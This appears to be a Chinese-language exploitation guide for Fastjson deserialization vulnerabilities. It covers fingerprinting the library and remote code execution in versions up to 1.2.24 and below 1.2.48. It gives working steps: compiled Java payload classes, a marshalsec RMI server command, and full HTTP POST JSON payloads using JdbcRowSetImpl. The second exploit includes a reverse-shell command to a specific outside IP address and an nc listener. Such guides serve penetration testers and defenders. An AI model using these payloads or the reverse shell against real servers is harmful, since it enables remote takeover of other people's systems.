目录
前言
Fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。具有执行效率高的特点,应用范围广泛。
指纹识别
fastjson指纹识别
如果有报错回显,可以故意构造不完整json请求,返回的数据包会进行报错。
发送内容最后少了个括号导致数据包不完整从而报错,从返回的数据包中可以看到有fastjson字样。
如果没有报错回显,利用dnslog进行回显
{“zeo”:{“@type”:“java.net.Inet4Address”,“val”:“dnslog的地址”}}
Fastjson<1.2.24远程代码执行(CNVD-2017-02833 )
漏洞详情
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。
漏洞版本
fastjson <=1.2.24
漏洞分析
http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
漏洞利用
1、访问存在漏洞的页面,得到json格式的数据。
2、创建TouchFile.java文件,内容如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
3、执行编译命令javac TouchFile.java,得到TouchFile.class文件。并将其通过python3 -m http.server命令放到外网环境中,默认监听端口8000。
4、然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xx.xx.xx.xx:8000/#TouchFile" 9999
5、在漏洞页面bp抓包后post提交数据,替换如下payload:
POST / HTTP/1.1
Host: 靶机ip:端口
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:9999/TouchFile",
"autoCommit":true
}
}
6、靶机执行命令成功
Fastjson<1.2.48远程代码执行漏洞(CNVD-2019-22238)
漏洞详情
fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
影响版本
fastjson <1.2.48
漏洞分析
https://www.anquanke.com/post/id/181874
漏洞利用
1、编写一个反弹shell脚本Exploit.java,并编译生成Exploit.class。
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/98.126.219.155/58274 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
2、然后将编译好的上传到服务器,利用python3 -m http.server 开启http服务。然后能够访问即可:
3、借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.108.118.128:8000/#Exploit" 9999
4、接着开启nc监听端口4444:nc -lvvp 4444
5、向靶场服务器发送Payload:
POST / HTTP/1.1
Host: xx.xx.xx.xx:8090
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://xx.xx.xx.xx:9999/Exploit",
"autoCommit":true
}
}
6、反弹成功
Fstjson < 1.2.60 远程拒绝服务漏洞
漏洞描述
Fastjson多个版本存在远程拒绝服务漏洞,Fastjson 1.2.60版本以下存在字符串解析异常,可导致远程拒绝服务攻击。攻击者即可通过精心构造的请求包对使用Fastjson的服务器造成远程拒绝服务攻击,可导致服务器宕机。
漏洞分析
无
影响版本
fastjson <1.2.60
fastjson sec版本>=sec06
漏洞利用
无
Fastjson <=1.2.68 全版本远程代码执行漏洞
漏洞详情
FastJSON <= 1.2.68 存在远程代码执行漏洞,可直接获取到服务器权限。漏洞成因是Fastjson autotype开关的限制可被绕过,然后链式地反序列化某些原本不能被反序列化的有安全风险的类。
影响版本
FastJSON <= 1.2.68
漏洞分析
https://www.cnblogs.com/tr1ple/p/12348886.html
https://www.cnblogs.com/ph4nt0mer/p/13065373.html
https://xz.aliyun.com/t/7878
漏洞利用
暂无